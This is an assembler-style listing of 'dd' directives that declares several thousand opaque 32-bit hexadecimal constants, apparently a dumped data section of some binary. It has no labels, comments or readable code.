dd 901084Fh, 0C88E1B90h, 89B79D9h, 0C5314525h, 1E14118Ah
dd 84B72990h, 0D3483084h, 2413F242h, 9A8F2183h, 0A080D817h
dd 695A17EDh, 0F1991F10h, 4FDF0018h, 0F2CE2AA1h, 0B31A1500h
dd 0DBAAF0F3h, 900D006Ch, 555C8A4Ah, 0E800A79Ah, 34C3A991h
dd 0E6BE592Dh, 233C006Ah, 0A601B817h, 0E003961h, 0CEACCB91h
dd 36276Ch, 2420DEB3h, 0BC29D65Ah, 30E47707h, 6DE0E5C8h
dd 1F094AA2h, 0DF19FC4Dh, 97584075h, 87EF72EDh, 5B513600h
dd 0C1F082B6h, 0E3E40070h, 13DF09A6h, 15020361h, 0C9BEED29h
dd 0E08848EAh, 0D99C00D3h, 6F17C1E3h, 6500E84Ch, 52718AE5h
dd 701DA1D2h, 0CFFF00D5h, 330728F6h, 0AB1C9654h, 66808135h
dd 4985977Fh, 0E822CCCh, 25180066h, 2C301D92h, 0E74AC700h
dd 56CCBF81h, 87C9006Eh, 0AD2D1A1h, 0AD2C3F53h, 0DF01B076h
dd 0E86715B4h, 16E143F0h, 10662BFh, 0C47685E9h, 8DD2D898h
dd 0A011661Dh, 0DA64DE00h, 573A36h, 0B40F43E0h, 0E1D560E4h
dd 136894A0h, 0B7006CF2h
dd 81DDDEA8h, 11CEBFCh, 0D784D154h, 0CCB5D2DAh, 0A0A10356h
dd 0F7B0C143h, 25B12EC0h, 0FCA0CF1Fh, 308BAE40h, 0F0CD0DFDh
dd 4A140024h, 72E04690h, 50FC36C1h, 5C4B3Bh, 0ECFD5FEh
dd 4C81D9h, 9B910958h, 0C4AD89D8h, 48AF853Ah, 1786032Bh
dd 88EADC51h, 0E6D78367h, 372B1CE5h, 5C57C013h, 9E4A2FBAh
dd 4E10C900h, 1955CCB2h, 949F508Ch, 0D3770174h, 0E2F9454Dh
dd 0CE1E783h, 5888E4A5h, 0FF866112h, 54003C16h, 4E0E376Fh
dd 0FE6407D4h, 908DC5E2h, 5B45317Ah, 0BCD14B00h, 74567871h
dd 0EE51005Dh, 7029203Ch, 6A000A97h, 2469350Dh, 74528E1h
dd 20F7EC07h, 4B490015h, 6122670h, 5C0E588Bh, 748404Eh
dd 71FFF895h, 0D8B70913h, 200E0D43h, 497CC860h, 0BC0EA13Bh
dd 0C0CCC045h, 0B8961E5h, 0F3F00C9h, 0D9A45FB1h, 130ECE9Ch
dd 0C04CB2D7h, 0FD551198h, 875D0956h, 74C9219Bh, 0B3A0246Dh
dd 0A6D28802h, 4867E7EBh, 36A3500h, 5F2F599Ch, 43C822CFh
dd 2D05F55Eh, 9057EF94h, 7299FC40h, 1CA4EAC2h, 61D0E10h
dd 0A01E7FB2h, 0F1D5C109h, 50700072h, 64831h, 0EFD67C7Eh
dd 4598DA4Ch, 111DCD00h, 0A8608371h, 5573003Eh, 0AE6512D0h
dd 22010E47h, 84B227E2h, 1AF4318Fh, 6570092h, 60F039E7h
dd 5200FAEAh, 2318D4D9h, 144B3Ah, 0A9F26B29h, 0B24DFDCAh
dd 74C48F04h, 8FC28Ch, 0B03B51A2h, 0F4DC7C65h, 765000B1h
dd 5CCD1936h, 9B009F05h, 0D6EA4AF1h, 0E9D902Dh, 816D3374h
dd 5188EB40h, 0A700A84Dh, 0F4ACDE2Bh, 956979h, 0C6E111D2h
dd 13FC4AFBh, 15C2DC0Eh, 0A233C040h, 0C227Ch, 3DAEB742h
dd 928FDF21h, 0F51FA600h, 6A1461A4h, 7DCCEDCAh, 0B72A3E35h
dd 551C7180h, 3041BAB6h, 0A07B2100h, 474CEE3Eh, 0DFD70EBCh
dd 2900DA82h, 1D40BEC5h, 7E679A00h, 127672A3h, 152B3D1Fh
dd 0A23E470Eh, 3C00F854h, 7904DA59h, 1217A424h, 1C46B290h
dd 988EE931h, 2F0A01CAh, 0CE231620h, 3C09D091h, 9EC1AE00h
dd 0AA8535E6h, 3EB70017h, 0AFB47563h, 97002283h, 249C0F20h
dd 0ADB0F6h, 2D73054Dh, 821291F7h, 0A76DFF13h, 5A96DB00h
dd 745EE11Fh, 0CE57006Bh, 0DE604265h, 0D40ECBD6h, 6C2B2F09h
dd 3F3CF29Eh, 8C8711D8h, 302582E9h, 0F6A323CDh, 43679200h
dd 0AD361044h, 98FD0CF4h, 11D0B9ACh, 0FF17B100h, 3D7196A9h
dd 204400CFh, 84BE1437h, 0E600D8F0h, 0BCDF0363h, 0DA98DDh
dd 0FEF70E97h, 54350B47h, 3430C3Dh, 421BEF4Dh, 9D29A06Fh
dd 4CF57E90h, 0B680E402h, 64D1E6D3h, 88ECEB28h, 0D8F11713h
dd 0FFB00803h, 2DC0D4FDh, 0A0783C79h, 0C0294080h, 0AEEF928h
dd 6D00D674h, 32364FEh, 972897Ah, 860B6AFCh, 0A4194E80h
dd 0B100C2F8h, 0F618BAEDh, 30244812h, 0A2D8A155h, 0FD008742h
dd 34587C6Dh, 0F2E6F72h, 6122F403h, 5381FE9Dh, 35A8195Dh
dd 0CBCFC8Fh, 368ED001h, 0A2B98517h, 99E2DCh, 0D1B39081h
dd 0E57A088Bh, 0D33F416h, 1ECA000h, 0FF3BC61h, 15ED4779h
dd 0C0434947h, 0DEA68A08h, 0E800D5F8h, 5FB30BF1h, 364E490h
dd 0D4F4750Fh, 55D8D24Eh, 0CF00A7B8h, 885A45Dh, 123428CDh
dd 0BC1981h, 0BED97FA8h, 2B02F412h, 0C643ECD7h, 1F4C4004h
dd 787001Eh, 21C9C01Ah, 0CF000877h, 0BE2712BFh, 28A05FEh
dd 998F23A3h, 4CE8882Bh, 7001EC3Ah, 41B857AAh, 8E3073F9h
dd 7EAE0B89h, 50801927h, 607AF1A8h, 0B3D53900h, 5DB91434h
dd 22710062h, 0C449976Ah, 410070B5h, 6EDDF0CCh, 0E61182h
dd 8F65EAB7h, 8913D618h, 80751C03h, 90610770h, 35AF930h
dd 0DC3B48D7h, 0FCE8F5E3h, 0D800EE92h, 0DF7EEF6Ch, 2D9A56Fh
dd 6018CFCDh, 5E407A90h, 0D032F39h, 56F73E99h, 3F8AC058h
dd 26100ECh, 204390AFh, 47000C79h, 95C32DAAh, 36619ABh
dd 1C9CCF0Ah, 0C2C0F6DBh, 14286436h, 0BE1EFC0Ch, 3FC74D4Fh
dd 2300DBB1h, 7CF44AF8h, 9D500006h, 790CE6FDh, 0CC3FC502h
dd 0A4358073h, 26ECD032h, 0F400910Ah, 9F610DE7h, 770C70h
dd 479330D6h, 0D8C6B7F4h, 0BB8E8F07h, 3350FE25h, 1F7FB84Ah
dd 81F7CDAAh, 0FDDE52DDh, 9709F45Fh, 0E4B1BE60h, 3933979h
dd 46FFF1CBh, 0C10003EEh, 169E4290h, 0E40ADA1h, 88CEE3EAh
dd 0E63CAC20h, 56E4BC58h, 901BAB00h, 0E5F7600Fh, 0A08D18EDh
dd 149B0B7h, 354F451Ch, 0A17C7B3Fh, 0CC1C223Ch, 0A4202CC8h
dd 0A158A7h, 0D68487C7h, 5BD9F4B4h, 789C4A00h, 0A1C224CBh
dd 0A9E02892h, 0DFCD18EAh, 0F5C8B837h, 85F0FD3Eh, 0E10A632Dh
dd 0E0189BC3h, 30CB9AC4h, 15C805F7h, 0E338D74Fh, 53B41654h
dd 177EC00h, 0F839AF88h, 990B065Bh, 0B9CCC2C9h, 0E9F5B512h
dd 89C5B40Fh, 89B440D6h, 0AAE6005Fh, 0D3668AFCh, 4900A025h
dd 1274CA38h, 1D91D635h, 82E9F76Bh, 0CE5B9DFAh, 2026450h
dd 0C6B356B4h, 999AC39Bh, 0DC40A052h, 0BFE0EDh, 2DC4FE57h
dd 0FA8A6670h, 4ED758h, 0DC9D61ABh, 260E1679h, 1416C59h
dd 386657CDh, 8EDC30BDh, 701D9C19h, 12C0D931h, 6020004Dh
dd 461EF97Fh, 4E0FFA4Ah, 0A02AAF97h, 6A3B84DEh, 0ECC33019h
dd 454E76D9h, 0EA4B6813h, 0A035C40Eh, 0A6E796FAh, 0A6F0009h
dd 4C4182FEh, 7C00FC14h, 14E6CFBh, 0AC0B3Bh, 7750123Ah
dd 6E83C24Dh, 0A26A1A24h, 4E38EF00h, 0E48FCF8Dh, 760D397Bh
dd 51F811E0h, 0F00033AEh, 3EBE2BF9h, 55661Eh, 0F3701F93h
dd 0B78F9BEEh, 51D3900h, 20BED147h, 0B1100068h, 77AE8614h
dd 1100C7E6h, 0F28F50B4h, 0FDDA7CFh, 0F371DA81h, 0E29F7080h
dd 0F000102Bh, 992C3D26h, 0A0A4410Dh, 1AA94C8h, 0A93A5950h
dd 41D2C6B6h, 4018EEB5h, 5EE05480h, 3D470B01h, 33FA6ADEh
dd 4697064h, 0CAB38E38h, 0B9508012h, 0A27C1C5Ah, 0C44DD81Ch
dd 0B62AC240h, 3B71D6Ah, 6F62E43Bh, 0E79888E1h, 4F13E542h
dd 74005E0Ah, 8DCB94A0h, 6C761Bh, 856B1C5Dh, 0E72C8767h
dd 9DC0BE12h, 5846E0C0h, 8177B1h, 0C54C3DABh, 571B9853h
dd 0C3FA6903h, 0A248E4B5h, 1EACE0F4h, 0D77900A3h, 0F7B68FC0h
dd 0CF6B2E8h, 607F9033h, 0CEF0C86Ch, 0A17D0089h, 9EDCE33Bh
dd 440134D8h, 0B8EFC829h, 0FFE0338Eh, 75561868h, 450F387Eh
dd 646AC600h, 4EF6E641h, 3F9D007Ch, 0ABA8D066h, 0A50017FCh
dd 3A295AFBh, 27C935DBh, 0B480FA75h, 0F3E61B9h, 0C589C200h
dd 0A0CEEA7h, 46A40258h, 0AF854CA6h, 0FFE48840h, 6D9C8707h
dd 0F74082CDh, 988ACF8h, 0F6A40221h, 862B7CA1h, 60542839h
dd 12135139h, 3C720FDDh, 204C6CFh, 0C868E035h, 42D8F984h
dd 0D5450392h, 223C2FB7h, 3073EFD1h, 67007A44h, 0F25CD250h
dd 0A2D836h, 1842E834h, 0B896BD61h, 2A1E53ECh, 7100196Ch
dd 0D4269548h, 34F01C5Eh, 0C0BB8175h, 24AAE23Fh, 8B5031FCh
dd 889673C9h, 0E049C60Eh, 961D91D0h, 192A60FFh, 44F926E8h
dd 8E1A2B0Fh, 7972A290h, 0EB346069h, 23B7035Dh, 0D428B07h
dd 9034A0BFh, 0C8F63626h, 0E34E2E0Ch, 0B6105Ch, 48134194h
dd 81BCAE55h, 80678A3Bh, 89EF44F6h, 3A75B4h, 0AA79D5FBh
dd 6B2A3BD9h, 55E76800h, 0BB4EB9B5h, 78F96F52h, 0DB2EFEA0h
dd 27E4C88Ch, 0EBF7CE13h, 4F7F1800h, 0A8F03848h, 547EB1B0h
dd 18C6F4F6h, 0D9880525h, 490F2401h, 0C95645CFh, 0A038A02Fh
dd 0EB5B8Ch, 6C39E3A5h, 0B4F3B833h, 0ECB9CB00h, 0E4A6F04h
dd 7816F6FFh, 2AE90E9Bh
dd 550038D7h, 6ED4571Ch, 8E854700h, 4376DEBAh, 23A024B3h
dd 66A51C5Dh, 79F081D0h, 2472248Fh, 4E20EC08h, 4522003Fh
dd 0BB599607h, 1807EA91h, 0FB41320Dh, 0AE82E290h, 5225001Ch
dd 30FEA1A8h, 0E400C7D3h, 3CC1F1B9h, 0D7B760h, 0ED508D22h
dd 0CE4B94A9h, 4F006EE6h, 0BB5F319Ah, 0B75E17h, 497DCC2Ch
dd 16054433h, 0E8595A60h, 836061h, 9B7540FFh, 0F28D9258h
dd 4B1E2700h, 9663BCEDh, 0D27A18D7h, 0E7FF6016h, 0B61F3F09h
dd 0BE0F0079h, 9D5A9A6h, 0C7494420h, 1DFEEC80h, 9B00665Ah
dd 1630973Ah, 77A83DCh, 0BCF7A55Fh, 8A8CD3ACh, 40320BF0h
dd 2B62EF00h, 740D772Fh, 1F7183Dh, 2A6DD0FFh, 0FEE3B400h
dd 68DDABBCh, 47550073h, 16347A4Dh, 3FF69B19h, 65D92303h
dd 0B976747Fh, 41900B2Dh, 0A8F6C31Bh, 0BDD18864h, 3ACA61Ah
dd 5DD84910h, 0D0009FF9h, 0ED6E9913h, 986AF7h, 3557C5AAh
dd 74037AF2h, 1285F800h, 272A55C6h, 402009Dh, 7A175ECAh
dd 530720C5h, 0C981A126h, 0B7FAB530h, 91690035h, 0C2E0E529h
dd 0A300F811h, 7613BBAFh, 175F2EF6h, 192A886h, 89092AB9h
dd 9121DC90h, 9B461C00h, 0AE731836h, 9FFADCh, 51064467h
dd 0D0119D63h, 4B70CC00h, 365CEB73h, 27CA24B1h, 797E0053h
dd 95932C12h, 9EB4E000h, 300ABB6Dh, 90EC033Bh, 3D1D7F96h
dd 2BDFDCC8h, 7E8DF500h, 0CF5D7AAFh, 90C87046h, 0A5D1004Ah
dd 8758E2D9h, 5F3BBE6Fh, 19780716h, 2DE0E53Bh, 703EA1Eh
dd 57361252h, 260830B9h, 6400A435h, 8455AD96h, 6319D46h
dd 716E0AA8h, 0CE05A0A5h, 63EEAE72h, 5625FD00h, 0DEE2DAh
dd 4EB0D8C9h, 6CF4CFA0h, 7C57C80Eh, 569BC064h, 3335C0h
dd 3AC76748h, 0FF6FBFA5h, 0C246DC00h, 2C22393Dh, 0B21B0075h
dd 0F96763A7h, 0D004C055h, 967D4FD9h, 59E64480h, 0AD292354h
dd 0DB309h, 0BB51A970h, 0CC825CC5h, 40F1E812h, 67C04F0Ch
dd 0B35045BCh, 18074781h, 0DB0289A2h, 1D4480EFh, 0BF14F7h
dd 388EDD63h, 3DB77D0Ah, 36A3E809h, 0FA000A6h, 0AB6AEDh
dd 52477992h, 0F93FAF99h, 505B5733h, 88B5A078h, 6FC612EEh
dd 0AE5440D4h, 0BEC898D3h, 97B8D201h, 6392D0CAh, 92486760h
dd 778700C4h, 3E9BBC4Bh, 0C400166Dh, 0B8F4D746h, 6098B696h
dd 4036045h, 0FA0934CEh, 835BB7E3h, 0B3FF691Dh, 3BA009A7h
dd 0B4203635h, 0A88CE657h, 532ECD00h, 2D5A8A7Bh, 6FE00B4h
dd 9CE15B31h, 96000D81h, 0CC27AAA2h, 0B2282FDh, 45E77252h
dd 0FF6E1100h, 0B400EBBBh, 89626777h, 2ED60F43h, 49EE5Bh
dd 7F97FD3h, 0A006CF0h, 707EDBA4h, 0D51459h, 896E96BEh
dd 3D803523h, 0E7A21900h, 6B7DF41Dh, 4E4C049Bh, 0C08AFD78h
dd 94DEEDCEh, 13B42549h, 0EB03B2F3h, 0AFF255D5h, 2FFA26A0h
dd 3CDA00AFh, 650BB4EEh, 0CAFA96BBh, 67875B00h, 0F8B34D10h
dd 0D5E6018Ah, 0A1911353h, 0AA57C001h, 0A2666B01h, 96127C8Eh
dd 26D08520h, 34E049h, 0DEA83DA7h, 24003C45h, 5BE2C844h
dd 793226h, 0F974B76h, 0C6AAE7FEh, 0CAD83B54h, 0A0FAA416h
dd 9AF82801h, 6471EC64h, 76AA6F8h, 4047B2B0h, 4B9EA005h
dd 0E4E4CA10h, 5962B707h, 52B327A4h, 0DD348030h, 24F100CFh
dd 0D226403Ah, 38000560h, 4BC3F80Fh, 28E54D18h, 0F0B765h
dd 6A5C19FDh, 9F8DD8ACh, 0E3FE5600h, 55BAE441h, 0DEAF007Dh
dd 6F22D07h, 87004660h, 97B57BADh, 3298A9Ah, 619E165Eh
dd 6DB1AA32h, 0E0792098h, 1F0A409h, 70B420F8h, 7C6221F3h
dd 36C100B9h, 425EBCE0h, 350E9C64h, 0E002EC22h, 61B1DA04h
dd 6AEF003Fh, 0F36CE31Dh, 1F00ACC9h, 121FAEAh, 67BB4Ch
dd 0F8F435CAh, 5328C5A9h, 1223D100h, 0E50E913Fh, 57E6024Eh
dd 0CC069868h, 0C0DCC884h, 0ECD30718h, 36555D00h, 0DBF01CD6h
dd 8CCD0045h, 5B5804DEh, 0E032ECAh, 0CB618815h, 0FBD1D0A4h
dd 0FE9C00CDh, 0BA8F0473h, 65011EE0h, 0A017AF2Dh, 0BDE0BCD4h
dd 0E36E00B4h, 48AE0F98h, 6609598Dh, 8AB381h, 85267B80h
dd 0E42112F7h, 455C0074h, 759106D6h, 0B29BB00Eh, 0FD098056h
dd 0AE7DBCh, 0CE70C6F0h, 4CF8409Fh, 0C700C4ECh, 130B1EF9h
dd 745B81Ah, 0E1086C47h, 24443091h, 0C10023A7h, 34313C35h
dd 13D5584Dh, 0D22FD9h, 0D0EBB58Eh, 3E00AFFFh, 9572FBE5h
dd 381BF6F7h, 2873177h, 80BB5EBEh, 85B4A7AAh, 92481100h
dd 0E5CB9B5Fh, 3D89876h, 0C16A8765h, 0D3A0D115h, 0BEECB99Ah
dd 8D9EF800h, 562F11FDh, 5BDA0065h, 1436B0E6h, 2A003161h
dd 421E720Ch, 0FEBEA022h, 0D79059h, 2CF47603h, 0B00F5452h
dd 284DD40Fh, 8A5564DDh, 0C6AD5080h, 1D52908Bh, 0C04FFDC8h
dd 0D4725411h, 180006D7h, 4C77CE9Fh, 497FB602h, 30004C83h
dd 599B3127h, 561F49EEh, 8D134292h, 0BC12E01Dh, 7A605002h
dd 0B22E1657h, 2B001099h, 0A044E1C4h, 25C30022h, 742DB31Ch
dd 9A000BEEh, 0D986BA62h, 101731h, 6F99B955h, 73E6C3C5h
dd 0E07748h, 581FF0CFh, 3C69F1C9h, 1C007926h, 0E0CBA86h
dd 0DB383EE0h, 892CF0AFh, 3D800873h, 114A5E04h, 0F2C47CDCh
dd 1EDD0377h, 0EB08E114h, 32880D4h, 1000A98Eh, 94560106h
dd 0FE476A88h, 0D221C348h, 8A0007C7h, 0D3D097BBh, 6F47DF6h
dd 1F5A4F2Ah, 0C300A076h, 88FCC792h, 770CBADh, 0F37B1ED2h
dd 0CC0530BAh, 0F60150E2h, 0EF15D148h, 4361F063h, 0DC04A841h
dd 1F64A024h, 4FDD8DC2h, 809D5747h, 4CE6E575h, 7100B3C0h
dd 0A5CD5686h, 261D06C9h, 0C2B980h, 0CBF8A663h, 0BB04C2A8h
dd 0AE455DE5h, 0D71CA881h, 6C60BDF9h, 71E003E3h, 54FF659Dh
dd 742A9A81h, 0DA7D78E4h, 0EC77E600h, 9E513A7Eh, 0DBFD0E0Ch
dd 38809397h, 0B972C05Eh, 0E835A200h, 1D92033Ch, 0C3480088h
dd 9B332026h, 460CDE16h, 585A0842h, 0EBA3F30h, 7076BCh
dd 46D64740h, 57C33D9Eh, 744AC100h, 0F5EF45EAh, 0D3270142h
dd 83AD53DCh, 0C865208Ch, 1270DE00h, 314179ACh, 36F50172h
dd 18442813h, 7782830h, 89056A2h, 24946030h, 7D7C2C0Bh
dd 0DFAE00B0h, 0A83685D5h, 34FB082Eh, 3FACC081h, 16809B41h
dd 0EEB6CE4Fh, 4AF81F40h, 2D02C500h, 0A166D620h, 0FD670047h
dd 0F9244F55h, 7A007C72h, 0BC11D444h, 3ABACF6h, 53D3DC97h
dd 0E087236Bh, 61B9783Ah, 55D280A0h, 4F8D5600h, 8809E3B4h
dd 149060h, 25CBF42Eh, 15BBCC07h, 0A7720400h, 850253E4h
dd 0C12B0048h, 8A1119EAh, 577DAE66h, 0CF37E700h, 0A994225h
dd 7DBD00CEh, 78241967h, 0F2741AC6h, 0D9EEE100h, 3B5CC91Bh
dd 75F9004Eh, 95E7032h, 6000A544h, 0DBC70BBDh, 0C191C9h
dd 0AD3F6F8Ch, 582AF28h, 0CCD839h, 519D2D06h, 5B7EEAh
dd 4A9979F5h, 0F3D92569h, 16030290h, 0A5AADEF6h, 0ECE80059h
dd 0E1DA02DDh, 7700F40Fh, 0F2FAB134h, 0BD2E9h, 0CE01E725h
dd 4EB9E469h, 8D0027F2h, 0A896E13Fh, 3CCC75EFh, 30809C5Ah
dd 9E2534B6h, 0F4A135BAh, 5F0CF848h, 8CF5B300h, 99FC1586h
dd 0E1B80055h, 645D3012h, 1C00B6F1h, 46E6A195h, 37BF875h
dd 0AE43CA70h, 33A01159h, 0B100BAAFh, 8BF64D68h, 0E376F23h
dd 59919738h, 8962658Fh, 84C0CE78h, 6A00A78Bh, 0FD880532h
dd 4CD84E0Bh, 151EFC61h, 0AD404065h, 0D5277D5Ah, 0E368B50Ch
dd 9851DCE9h, 3F943B5Ah, 839F30B9h, 2F9FD7Ah, 2226BEE0h
dd 9880641Dh, 82AA75A4h
dd 0BCE71901h, 0C209ABDCh, 0B33AD0FFh, 0E91E00B9h, 0B19C2EB6h
dd 5F000736h, 8F25A795h, 0BACA5790h, 28190128h, 6629AC7Eh
dd 709850FFh, 0B312E984h, 0A087B8B0h, 14C66CD0h, 0D77B07C9h
dd 0DF5699C1h, 6AAB22C0h, 0EF137F49h, 68608DBDh, 995303h
dd 0A4AA5264h, 483CAF6Eh, 0BA43F500h, 0E81C6BE6h, 6F1D02CCh
dd 7484DD75h, 615B99C0h, 33BC6A50h, 5DE2D000h, 9DE7882Eh
dd 352B00DEh, 6A216669h, 901FEA1h, 5BB2D22Ch, 7F601F9Bh
dd 9A2400EFh, 0E7272938h, 0CB303978h, 7C531814h, 45DCEDE0h
dd 36CDFDB8h, 0A100782Ch, 0C1215182h, 0ED3C4AF8h, 6620AE0h
dd 0F089B4C9h, 0E3C00F9h, 3F80C09Bh, 0DE801507h, 181736FDh
dd 0C4A0A50Bh, 200B62Fh, 139C92FBh, 614314h, 9D8836C3h
dd 396BD230h, 0BA7A71E0h, 280712FEh, 0B5F5D884h, 0B6206089h
dd 7A86045Ch, 0A026A3C4h, 63008B40h, 120E54A2h, 907B559Dh
dd 0F99FA90h, 0C458535Eh, 6DED88C3h, 0E685FAB0h, 0E2597A00h
dd 69D598A1h, 609D5C8Bh, 0A995380Fh, 0D1F31AE0h, 0A1F22673h
dd 6C96C900h, 300FFF4Bh, 8307071Ch, 70B8AF59h, 0AA3C103Dh
dd 61601E60h, 71BDB33h, 352C6381h, 0C4B8F0BDh, 3C07BFF7h
dd 0A4CCF85Fh, 0A8E3805Bh, 4A92AD14h, 38BC00F1h, 67964CD9h
dd 74879D0Bh, 0DD18A048h, 3821418h, 0F769039Ch, 0D4E8C472h
dd 0E80F190Fh, 0C0A24B77h, 1A3B4A9Fh, 582A004Dh, 5B248A05h
dd 7312E0D5h, 5000C02Bh, 0B339C9DEh, 7FCF00AEh, 0D2CEF758h
dd 0F30040E0h, 68BEF022h, 48879705h, 8200A702h, 370A9D85h
dd 0EE033C4Dh, 0E2117035h, 92DE2658h, 913FCh, 0E7E9DCEFh
dd 0DD0050B1h, 0DFD10F28h, 7D5F7C1h, 143CF8C3h, 0C25C00CAh
dd 39038588h, 0BEFE40C8h, 6727A807h, 7D0C0929h, 6080C665h
dd 0F406E12h, 82C5Ch, 977D7B4h, 35E2F9Bh, 0A296EC87h, 8000B8E5h
dd 0C869E27Ch, 9F7E8Bh, 88A8F7F8h, 1E81766Eh, 0D3A97001h
dd 2418EE1h, 85CC60h, 2C9BF311h, 0F8EC37FFh, 8C594E0Fh
dd 0B4CFC57Ch, 2540941Ch, 33AF680Eh, 0DF0F028Dh, 549E55FCh
dd 806E6541h, 8B6B9A78h, 3507B1h, 72265BC9h, 797CD377h
dd 0CDAA7000h, 9F2C8A1Eh, 0E5360069h, 50667EE1h, 0EF00E023h
dd 2025D592h, 9C433Ah, 5D84F9B4h, 79F42C01h, 3617180Eh
dd 2DAE4095h, 0A14686h, 9A49E5F5h, 0C691812Ch, 0C0DF3F00h
dd 4089BBF7h, 9FEE01F8h, 0FDA86495h, 8945050h, 0F5013D43h
dd 0BC789C55h, 20307B17h, 5E320092h, 0B5A8E5CEh, 0DA1D8045h
dd 0A440010Ch, 9735C139h, 0AB1F1F6Bh, 0CFDB8073h, 0E5654122h
dd 0D567E00h, 231CC3BFh, 5078603Bh, 87B3F96Eh, 0B2D75203h
dd 0A8321566h, 3017C1BFh, 4FA0091Bh, 0CA00107Fh, 5F132E0Fh
dd 0C9A2EEh, 4A74A8EBh, 79667181h, 0FEF95601h, 9F8E292Fh
dd 9C28D0DDh, 7151BA04h, 1054A2DEh, 431C1FDFh, 7280BC44h
dd 4D824B25h, 27135458h, 18406CB4h, 0C9B36B50h, 0E6D00522h
dd 0B0ECCEA2h, 8401FC30h, 0DAB1439Eh, 0ACF0AAE5h, 0E880B25Eh
dd 401D607Ah, 34DE04CBh, 84504Ch, 4A204E32h, 7126E43Ch
dd 0C5E7959h, 0B9BC5D55h, 5609759h, 4818C186h, 0FC09ECDh
dd 61C00B9Fh, 0A2453F60h, 91CBEB17h, 53BF9403h, 181FC022h
dd 13303001h, 6A996E49h, 674ED006h, 0ED1280Ch, 3FECA7B2h
dd 148224E1h, 0E0972127h, 6405FA92h, 9E1A277h, 0A52AE480h
dd 718F760Ch, 13CA7F8Ah, 4A777Eh, 9E5408D8h, 8CB0E2DAh
dd 9B394518h, 0E04C61h, 6F425A49h, 0B53F8FABh, 0CB1E7009h
dd 99EC2055h, 0B9E5E179h, 2E803FCCh, 2D6150A9h, 763052F0h
dd 17BED8B9h, 0BA992C7Ah, 4BEF8090h, 2372F291h, 40CB3072h
dd 60F00FAAh, 0CC8087DAh, 48E053F9h, 8D012E0Fh, 10F72301h
dd 22C7E0F8h, 0FBC2E802h, 0D893DEE0h, 0D55A1898h, 33F579D4h
dd 161B8F02h, 0C07D7AB7h, 19D2326h, 0F8660A85h, 0C22ECD24h
dd 0D7183060h, 0C7CE2A00h, 575DB93Bh, 78F40FE3h, 5F97FA4Bh
dd 3EB04088h, 461E8CA3h, 3FDD0309h, 50007724h, 0BA86A735h
dd 0B2805201h, 42FD1DC0h, 13DB62C0h, 0C0730D3Ch, 0B788C597h
dd 0BD16C7E2h, 0D08098E9h, 0A8C9A45Bh, 5D803F8h, 0B01D7749h
dd 0B5CA0B6h, 67329C00h, 708D7E30h, 361B2DCEh, 2C4B2000h
dd 1100D0ECh, 8F4EB815h, 5D0CEAh, 0E6A804B9h, 91EE31E4h
dd 94667309h, 0FA9807D2h, 0C52BDCA1h, 75E45060h, 0A31F0128h
dd 45E16879h, 93892015h, 804D3F3Dh, 1FC636A8h, 242852B7h
dd 26F80F34h, 6CD560D8h, 0BF077C41h, 431B362h, 2F42DAC0h
dd 92770B97h, 38010C7h, 0CF1D6958h, 122C3201h, 7BD001A1h
dd 13F6E340h, 734C00C0h, 0A35A85FCh, 8D0AA776h, 8405E41Ah
dd 20100F13h, 0ECFC0084h, 0C190E71Bh, 4EC62h, 0FB5A80BAh
dd 1946CC77h, 76AA7A24h, 3F00382Ah, 0B6322138h, 14115492h
dd 0BC956391h, 6D4E2700h, 0BFDD682Fh, 32316F61h, 19C4FA59h
dd 93C7022Bh, 330C7B3Dh, 4BC94448h, 1F39EE1Dh, 0D77080ADh
dd 6079EF70h, 90A17814h, 0B700A513h, 0C9F84DEDh, 58047Dh
dd 2B57F4CDh, 97D9D46Ch, 96A35218h, 2441C92Ch, 84F559h
dd 6945E8D3h, 0F10078C2h, 93716621h, 1C582FCBh, 13A5E9E4h
dd 0B2B48039h, 0A061135Fh, 0C41A5598h, 260B89D0h, 9780D661h
dd 6540029h, 24940579h, 0DC810202h, 0EAD61EECh, 5094A0F8h
dd 4CBC967Ch, 257B7CE1h, 0E884C131h, 0D39B8279h, 4087C840h
dd 0F8FF78CEh, 1D87561h, 1EF05A83h, 74046589h, 4B09E3C4h
dd 987B589Dh, 0B870DE58h, 7ED60B91h, 34E02BD9h, 1116BB5Eh
dd 64D1FC67h, 3078DD20h, 0A41811h, 2E4E9F7Bh, 3603E33h
dd 9E91E406h, 0EEB0F556h, 3C5C226Dh, 0B16B01C3h, 0DBBFD93Ah
dd 0EE4037E8h, 0C97B0013h, 99B7F53Fh, 4312E3C2h, 7C00D286h
dd 91D08A75h, 0FE589D2Bh, 0C22F3C00h, 42BD2737h, 86E800D9h
dd 184BCF53h, 80093828h, 7E5EE7Ah, 44804CF4h, 0CEB74F7h
dd 0C871E293h, 0DC0ED618h, 0E5CBD76h, 0F130543h, 67A3D840h
dd 24F90CC5h, 80EC82ECh, 0DD097807h, 0A17BC89Dh, 19C5CA00h
dd 31C01E58h, 5113002Ah, 88B6053Eh, 731D4FEBh, 0C0247DA0h
dd 5C19FE00h, 0E8363C5h, 0DB9157D4h, 80D7C8A5h, 0C917234Eh
dd 0C467F900h, 77416102h, 56D0063h, 45BF14EBh, 8C2743DAh
dd 9F488587h, 8424A4h, 0ECF67489h, 6F69C071h, 7901817Ch
dd 6046A99Ah, 0F45072DFh, 0C1285EDh, 7413641Fh, 6EF401D0h
dd 11D5C600h, 6CF9C0C2h, 0AE38004Ah, 0E89760BAh, 0D0005FA5h
dd 128D4CFBh, 7F8CF7Dh, 2CC118EFh, 3D3960D2h, 0ECED0CBCh
dd 0F300243Eh, 0B81CD0B7h, 294112h, 87E881AAh, 95F81303h
dd 0A254600h, 0C7403501h, 0F9509092h, 8A12786Dh, 80AC53B5h
dd 26BDC8D8h, 6522BF00h, 40D4C495h, 179E012Eh, 47AE8230h
dd 0F459D860h, 95514600h, 0A6082DE0h, 87FD067Fh, 0C4D4FA9Ch
dd 0FB35D100h, 3C7D76B3h, 0DDE90002h, 0CD66BA49h, 0F00BB1A7h
dd 8005E738h, 700C3F56h, 0DD9B05EAh, 0AFCE7696h, 0F12F1280h
dd 40573C75h, 610BD83Eh, 0DC003227h, 0C6D0D99h, 0AC37200h
dd 17F6EE12h, 0DF1D1C45h, 0C11100E3h, 98C60C2Ah, 8C979B00h
dd 27CD6EEFh, 0D41D0268h, 4B806FF8h, 40107460h, 3E142800h
dd 20BF4A86h, 0AE3B0018h, 0E8A9DFD5h, 0CA00EF41h, 0D78C9E8Eh
dd 0B111FFh, 55F37134h, 90BA8BD8h, 840D7200h, 219D80C9h
dd 76A41F06h
dd 93F28053h, 47A7A26Dh, 5CCC6E25h, 3DB70025h, 0CDB271F6h
